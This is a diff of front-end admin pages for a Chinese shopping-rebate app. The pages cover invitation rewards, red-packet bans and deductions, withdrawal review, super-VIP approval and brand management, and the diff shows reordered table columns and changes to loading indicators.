| | | } else if (thatTr.td[num].key == "oneStageReward") {
|
| | | thatTr.td[num].value = "一阶段";
|
| | | } else if (thatTr.td[num].key == "twoStageReward") {
|
| | | thatTr.td[num].value = "二阶段";
|
| | | } else if (thatTr.td[num].key == "threeStageReward") {
|
| | | thatTr.td[num].value = "阶段";
|
| | | } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | }
|
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | |
| | | // 表格设置 |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [
|
| | | { title: "邀请人ID", width: "0.3rem", orderUp: "", orderDown: "" },
|
| | | { title: "邀请人昵称", width: "0.3rem", orderUp: "", orderDown: ""},
|
| | | //{ title: "邀请人头像", width: "0.3rem", orderUp: "", orderDown: ""},
|
| | | { title: "受邀人昵称", width: "0.3rem", orderUp: "", orderDown: "" },
|
| | | //{ title: "受邀人头像", width: "0.3rem", orderUp: "", orderDown: "" },
|
| | | { title: "完成阶段", width: "0.5rem", orderUp: "", orderDown: ""},
|
| | | { title: "奖励红包", width: "0.3rem", orderUp: "", orderDown: ""},
|
| | | { title: "完成时间", width: "0.5rem", orderUp: "", orderDown: ""},
|
| | | ] |
| | | });
|
| | | |
| | | // 工具栏
|
| | | adminDom.table.tools({
|
| | | show: false,
|
| | | }); |
| | | |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>红包管控</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" />
|
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">红包封禁</li>
|
| | | <li lay-id="t2">红包扣除</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="forbid_list.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t2" align="center" width="100%" height="100%" datasrc="deduct_list.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | </script> |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "申请ID", key: mo[i].extract.id, value: mo[i].extract.id }, |
| | | td: [
|
| | | { title: "用户头像", key: mo[i].extract.userInfo.portrait, value: mo[i].extract.userInfo.portrait, dataType: "img", "class": "admin-imgS" },
|
| | | { title: "用户昵称", key: mo[i].extract.userInfo.nickName, value: mo[i].extract.userInfo.nickName },
|
| | | { title: "用户ID", key: mo[i].extract.userInfo.id, value: mo[i].extract.userInfo.id, "class": "font-gray" }, |
| | | { title: "审核状态", key: mo[i].extract.state, value: mo[i].extract.state }, |
| | | { title: "申请提现", key: mo[i].extract.money, value: '¥'+mo[i].extract.money }, |
| | | { title: "提现警戒", key: mo[i].warnLevel, value: mo[i].extraInfoStr }, |
| | | { title: "申请时间", key: mo[i].extract.extractTime, value: mo[i].extract.extractTime, "class": "font-gray" }, |
| | | { title: "通过时间", key: mo[i].extract.receiveTime, value: mo[i].extract.receiveTime, "class": "font-gray" }, |
| | | { title: "用户头像", key: mo[i].extract.userInfo.portrait, value: mo[i].extract.userInfo.portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "用户ID", key: mo[i].extract.userInfo.id, value: mo[i].extract.userInfo.id, "class": "font-gray" }, |
| | | { title: "用户昵称", key: mo[i].extract.userInfo.nickName, value: mo[i].extract.userInfo.nickName }, |
| | | { title: "申请时间", key: mo[i].extract.extractTime, value: mo[i].extract.extractTime }, |
| | | { title: "通过时间", key: mo[i].extract.receiveTime, value: mo[i].extract.receiveTime }, |
| | | { title: "审核人员", key: mo[i].adminUser.name, value: mo[i].adminUser.name }, |
| | | { title: "备注", key: mo[i].extract.reason, value: mo[i].extract.reason }, |
| | | { title: "备注", key: mo[i].extract.reason, value: mo[i].extract.reason },
|
| | | { title: "申请ID", key: mo[i].extract.id, value: mo[i].extract.id ,"class": "font-gray"}, |
| | | ], |
| | | }; |
| | | // 审核状态 |
| | | if (thatTr.td[1].key == 0) { thatTr.td[1].value = "待审核"; thatTr.td[1]["class"] = "font-yellow"; } |
| | | else if (thatTr.td[1].key == 1) { thatTr.td[1].value = "已同意"; thatTr.td[1]["class"] = "font-green"; } |
| | | else if (thatTr.td[1].key == 2) { thatTr.td[1].value = "已驳回"; thatTr.td[1]["class"] = "font-red"; } |
| | | if (thatTr.td[3].key == 0) { thatTr.td[3].value = "待审核"; thatTr.td[3]["class"] = "font-yellow"; } |
| | | else if (thatTr.td[3].key == 1) { thatTr.td[3].value = "已通过"; thatTr.td[3]["class"] = "font-green"; } |
| | | else if (thatTr.td[3].key == 2) { thatTr.td[3].value = "已驳回"; thatTr.td[3]["class"] = "font-red"; } |
| | | // 警戒分析 |
| | | if (thatTr.td[3].key==1) { thatTr.td[3].value = "提现已超警戒值"; thatTr.td[3]["class"] = "font-orange"; } |
| | | else if(thatTr.td[3].key==2||thatTr.td[3].key==3){thatTr.td[3].value = thatTr.td[3].value; thatTr.td[3]["class"] = "font-red"; } |
| | | |
| | | else { thatTr.td[3].value = "正常"; thatTr.td[3]["class"] = "font-gray"; } |
| | | if (thatTr.td[5].key==1) { thatTr.td[5].value = "提现已超警戒值"; thatTr.td[5]["class"] = "font-orange"; } |
| | | else if(thatTr.td[5].key==2||thatTr.td[5].key==3){thatTr.td[5].value = thatTr.td[5].value; thatTr.td[5]["class"] = "font-red"; } |
| | | else { thatTr.td[5].value = "正常"; thatTr.td[5]["class"] = "font-gray"; } |
| | | |
| | | if(thatTr.td[5].key==null||thatTr.td[5].key==''||thatTr.td[5].key==undefined){thatTr.td[5].value = "";}
|
| | | |
| | | // 申请时间 |
| | | if (thatTr.td[4].key) |
| | | if (thatTr.td[6].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[4].key, |
| | | success: function (res) { thatTr.td[4].value = res; } |
| | | timestamp: thatTr.td[6].key, |
| | | success: function (res) { thatTr.td[6].value = res; } |
| | | }); |
| | | } |
| | | |
| | | if(thatTr.td[5].key==null||thatTr.td[5].key==''||thatTr.td[5].key==undefined) |
| | | { |
| | | thatTr.td[5].value = "(暂无)"; |
| | | } |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "申请提现ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "审核状态", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "申请提现", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "提现警戒", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "申请时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "通过时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "用户头像", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "用户ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "用户昵称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "审核人员", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "备注", width: "", orderUp: "", orderDown: "" }, |
| | | th: [
|
| | | { title: "用户头像", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "用户昵称", width: "0.6rem", orderUp: "", orderDown: "" },
|
| | | { title: "用户ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "审核状态", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "提现金额", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "提现警戒", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "申请时间", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "审核时间", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "审核人员", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "备注", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "提现ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | |
| | | type: "replace", |
| | | url: "tiXian2.html", |
| | | data: { |
| | | tid: item[0].key, |
| | | uid: item[7].key, |
| | | tid: item[10].key, |
| | | uid: item[2].key, |
| | | }, |
| | | }); |
| | | } |
| | |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"/> |
| | | <title>超级会员列表</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <!-- <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css"/> -->
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css"/>
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <!-- <script src="../../layui/layui.js" type="text/javascript" charset="utf-8"></script> -->
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "用户ID", key: mo[i].id, value: mo[i].id },
|
| | | { title: "用户昵称", key: mo[i].userInfo.nickName, value: mo[i].userInfo.nickName },
|
| | | td: [
|
| | | { title: "用户头像", key: mo[i].userInfo.portrait, value: mo[i].userInfo.portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "审核状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "申请时间", key: mo[i].applyTime, value: mo[i].applyTime },
|
| | | { title: "通过时间", key: mo[i].successTime, value: mo[i].successTime }, |
| | | { title: "原因", key: mo[i].beiZhu, value: mo[i].beiZhu }, |
| | | { title: "用户昵称", key: mo[i].userInfo.nickName, value: mo[i].userInfo.nickName },
|
| | | { title: "用户ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "申请时间", key: mo[i].applyTime, value: mo[i].applyTime }, |
| | | { title: "审核状态", key: mo[i].state, value: mo[i].state },
|
| | | { title: "审核时间", key: mo[i].successTime, value: mo[i].successTime }, |
| | | { title: "备注", key: mo[i].beiZhu, value: mo[i].beiZhu }, |
| | | ], |
| | | }; |
| | | // 审核状态 |
| | | if (thatTr.td[3].key == 1) { thatTr.td[3].value = "待审核"; thatTr.td[3]["class"] = "font-yellow"; } |
| | | else if (thatTr.td[3].key == 2) { thatTr.td[3].value = "已同意"; thatTr.td[3]["class"] = "font-green"; } |
| | | else if (thatTr.td[3].key == 0) { thatTr.td[3].value = "已驳回"; thatTr.td[3]["class"] = "font-red"; } |
| | | if (thatTr.td[4].key == 1) { thatTr.td[4].value = "待审核"; thatTr.td[4]["class"] = "font-yellow"; } |
| | | else if (thatTr.td[4].key == 2) { thatTr.td[4].value = "已通过"; thatTr.td[4]["class"] = "font-green"; } |
| | | else if (thatTr.td[4].key == 0) { thatTr.td[4].value = "已驳回"; thatTr.td[4]["class"] = "font-red"; } |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "用户ID", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "用户昵称", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "用户头像", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "审核状态", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "用户昵称", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "用户ID", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "申请时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "审核状态", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "通过时间", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "原因", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "备注", width: "", orderUp: "", orderDown: "" }, |
| | | ] |
| | | });
|
| | |
|
| | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/user/passVIP",
|
| | | data: { id: item[0].key },
|
| | | data: { id: item[2].key },
|
| | | success: function (res)
|
| | | {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); }
|
| | | else { doui.showToast("处理成功");}
|
| | | |
| | | adminDom.editTan.remove();
|
| | | vm_table.search();
|
| | | }
|
| | | });
|
| | |
| | | // 发起请求
|
| | | doui.showLoading("正在处理");
|
| | |
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/user/rejectVIP",
|
| | | data: { id: item[0].key },
|
| | | success: function (res) |
| | | {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); }
|
| | | else { doui.showToast("处理成功"); }
|
| | | |
| | | adminDom.editTan.remove(); |
| | | vm_table.search();
|
| | | }
|
| | | });
|
| | | |
| | | // // 弹框输入原因
|
| | | // layui.use('layer', function(){
|
| | | // layer.prompt({
|
| | | // formType: 2,
|
| | | // value: '未满足超级会员升级条件',
|
| | | // title: '拒绝原因:',
|
| | | // area: ['500px', '80px'] //自定义文本域宽高
|
| | | // }, function(value, index, elem){
|
| | | // reason = value; //得到value
|
| | | // layer.close(index);
|
| | | // alert("functin: "+ reason);
|
| | | // // 获取数据
|
| | | // var item = back.list[0];
|
| | | // // 发起请求
|
| | | // // doui.showLoading("正在处理");
|
| | | // doui.request({
|
| | | // type: "jsonp",
|
| | | // url: gethttp() + "/admin/new/api/v1/user/rejectVIP",
|
| | | // data: { |
| | | // id: item[0].key,
|
| | | // reason: reason,
|
| | | // },
|
| | | // success: function (res) |
| | | // {
|
| | | // doui.hideLoading();
|
| | | // if (res.code != 0) { doui.showToast({ content: res.msg }); }
|
| | | // else { doui.showToast("处理成功"); vm_table.search(); }
|
| | | // }
|
| | | // });
|
| | | // });
|
| | | // });
|
| | | layui.use('layer', function(){
|
| | | layer.prompt({
|
| | | formType: 2,
|
| | | value: '未达到升级条件',
|
| | | title: '拒绝原因:',
|
| | | area: ['500px', '80px'] //自定义文本域宽高
|
| | | }, function(value, index, elem){
|
| | | reason = value; //得到value
|
| | | layer.close(index);
|
| | | // 获取数据
|
| | | var item = back.list[0];
|
| | | // 发起请求
|
| | | // doui.showLoading("正在处理");
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/user/rejectVIP",
|
| | | data: { |
| | | id: item[2].key,
|
| | | reason: reason,
|
| | | },
|
| | | success: function (res) |
| | | {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); }
|
| | | else { doui.showToast("处理成功"); vm_table.search(); }
|
| | | }
|
| | | });
|
| | | });
|
| | | });
|
| | |
|
| | | }
|
| | |
|
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>品牌管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" /> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/brand/queryBrand", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | td: [
|
| | | { title: "品牌logo", key: mo[i].icon, value: mo[i].icon, dataType: "img" },
|
| | | { title: "品牌名称", key: mo[i].name, value: mo[i].name },
|
| | | { title: "品牌logo", key: mo[i].icon, value: mo[i].icon, dataType: "img" }, |
| | | { title: "分类", key: mo[i].brandClass.id, value: mo[i].brandClass.name }, |
| | | { title: "商品数量", key: mo[i].goodsTotal, value: mo[i].goodsTotal }, |
| | | { title: "店铺数量", key: mo[i].shopTotal, value: mo[i].shopTotal },
|
| | | { title: "状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")" }, |
| | | { title: "分类", key: mo[i].brandClass.id, value: mo[i].brandClass.name },
|
| | | { title: "商品数量", key: mo[i].goodsTotal, value: mo[i].goodsTotal,"class":"font-gray" }, |
| | | { title: "店铺数量", key: mo[i].shopTotal, value: mo[i].shopTotal,"class":"font-gray" },
|
| | | { title: "前端展示", key: mo[i].id, value: mo[i].id },
|
| | | { title: "天猫店铺", key: mo[i].shopKey, value: mo[i].shopKey },
|
| | | { title: "天猫搜索词", key: mo[i].searchKey, value: mo[i].searchKey },
|
| | | { title: "京东店铺", key: mo[i].shopKeyJD, value: mo[i].shopKeyJD },
|
| | | { title: "京东搜索词", key: mo[i].searchKeyJD, value: mo[i].searchKeyJD },
|
| | | { title: "拼多多店铺", key: mo[i].shopKeyPDD, value: mo[i].shopKeyPDD },
|
| | | { title: "拼多多搜索词", key: mo[i].searchKeyPDD, value: mo[i].searchKeyPDD }, |
| | | { title: "拼多多搜索词", key: mo[i].searchKeyPDD, value: mo[i].searchKeyPDD },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ] |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; |
| | | }
|
| | | |
| | | // 状态分析
|
| | | if (thatTr.td[0].key == 1 && thatTr.td[5].key >= 3 && thatTr.td[6].key > 0) { |
| | | thatTr.td[7].value = "已显示"; thatTr.td[7]["class"] = "font-green"; |
| | | if (thatTr.td[2].key == 1 && thatTr.td[4].key >= 3 && thatTr.td[5].key > 0) { |
| | | thatTr.td[6].value = "已显示"; thatTr.td[6]["class"] = "font-green"; |
| | | } else {
|
| | | thatTr.td[7].value = "未显示"; thatTr.td[7]["class"] = "font-red"; |
| | | thatTr.td[6].value = "未显示"; thatTr.td[6]["class"] = "font-red"; |
| | | }
|
| | | |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "禁用" }, |
| | | { key: 1, value: "启用"} , |
| | | ], |
| | | }, |
| | | { title: "logo", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | }, |
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "品牌", width: "0.7rem", orderUp: "", orderDown: "", |
| | | { title: "品牌", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | },
|
| | | { title: "logo", width: "0.7rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "file", |
| | | }, |
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | }, |
| | | |
| | | { title: "分类", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [], |
| | | }, |
| | | { title: "分类", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: [],
|
| | | },
|
| | | }, |
| | | { title: "商品数量", width: "0.5rem", orderUp: "", orderDown: "",}, |
| | | { title: "店铺数量", width: "0.5rem", orderUp: "", orderDown: ""},
|
| | | { title: "前端展示", width: "0.5rem", orderUp: "", orderDown: ""},
|
| | | { title: "天猫店铺", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | { title: "商品数量", width: "0.4rem", orderUp: "", orderDown: "",}, |
| | | { title: "店铺数量", width: "0.4rem", orderUp: "", orderDown: ""},
|
| | | { title: "前端展示", width: "0.4rem", orderUp: "", orderDown: ""},
|
| | | { title: "天猫店铺", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | },
|
| | | { title: "天猫搜索词", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | { title: "天猫搜索词", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | },
|
| | | { title: "京东店铺", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | { title: "京东店铺", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | },
|
| | | { title: "京东搜索词", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | { title: "京东搜索词", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | },
|
| | | { title: "拼多多店铺", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | { title: "拼多多店铺", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | },
|
| | | { title: "拼多多搜索词", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | { title: "拼多多搜索词", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | }, |
| | | },
|
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | |
| | |
| | | listC.push(jiedian); |
| | | } |
| | | // 重置表格头排 |
| | | vm_table.thead.th[4].edit.list = listC; |
| | | vm_table.thead.th[3].edit.list = listC; |
| | | } |
| | | } |
| | | }); |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 启用状态 |
| | | name: item[2].key, // 名称 |
| | | "brandClass.id": item[4].key, // 分类id |
| | | shopKey: item[8].key, // 名称匹配
|
| | | searchKey: item[9].key, // 搜索词
|
| | | shopKeyJD: item[10].key, // 名称匹配
|
| | | searchKeyJD: item[11].key, // 搜索词
|
| | | shopKeyPDD: item[12].key, // 名称匹配
|
| | | searchKeyPDD: item[13].key, // 搜索词 |
| | | name: item[1].key, // 名称 |
| | | state: item[2].key, // 启用状态 |
| | | "brandClass.id": item[3].key, // 分类id |
| | | shopKey: item[7].key, // 名称匹配
|
| | | searchKey: item[8].key, // 搜索词
|
| | | shopKeyJD: item[9].key, // 名称匹配
|
| | | searchKeyJD: item[10].key, // 搜索词
|
| | | shopKeyPDD: item[11].key, // 名称匹配
|
| | | searchKeyPDD: item[12].key, // 搜索词 |
| | | };
|
| | | // 如果修改了图片 |
| | | if (item[3].change == true) { mydata.file = item[3].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/brand/saveBrand", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][1].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][13].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/brand/deleteBrand", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = {
|
| | | state: item[0].key, // 启用状态
|
| | | id: item[1].key, // ID
|
| | | name: item[2].key, // 名称
|
| | | "brandClass.id": item[4].key, // 分类id
|
| | | shopKey: item[8].key, // 名称匹配
|
| | | searchKey: item[9].key, // 搜索词
|
| | | shopKeyJD: item[10].key, // 名称匹配
|
| | | searchKeyJD: item[11].key, // 搜索词
|
| | | shopKeyPDD: item[12].key, // 名称匹配
|
| | | searchKeyPDD: item[13].key, // 搜索词 |
| | | |
| | | name: item[1].key, // 名称
|
| | | state: item[2].key, // 启用状态
|
| | | "brandClass.id": item[3].key, // 分类id
|
| | | shopKey: item[7].key, // 名称匹配
|
| | | searchKey: item[8].key, // 搜索词
|
| | | shopKeyJD: item[9].key, // 名称匹配
|
| | | searchKeyJD: item[10].key, // 搜索词
|
| | | shopKeyPDD: item[11].key, // 名称匹配
|
| | | searchKeyPDD: item[12].key, // 搜索词
|
| | | id: item[13].key, // ID |
| | | };
|
| | | // 如果修改了图片 |
| | | if (item[3].change == true) { mydata.file = item[3].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 信息上传 |
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/brand/saveBrand",
|
| | | data: mydata,
|
| | | success: function (res)
|
| | | {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); }
|
| | | }
|
| | |
| | | // 当前数据
|
| | | var item = back.list[0];
|
| | | // 信息上传
|
| | | doui.showLoading();
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/brand/updateOrderBrand",
|
| | | data: {
|
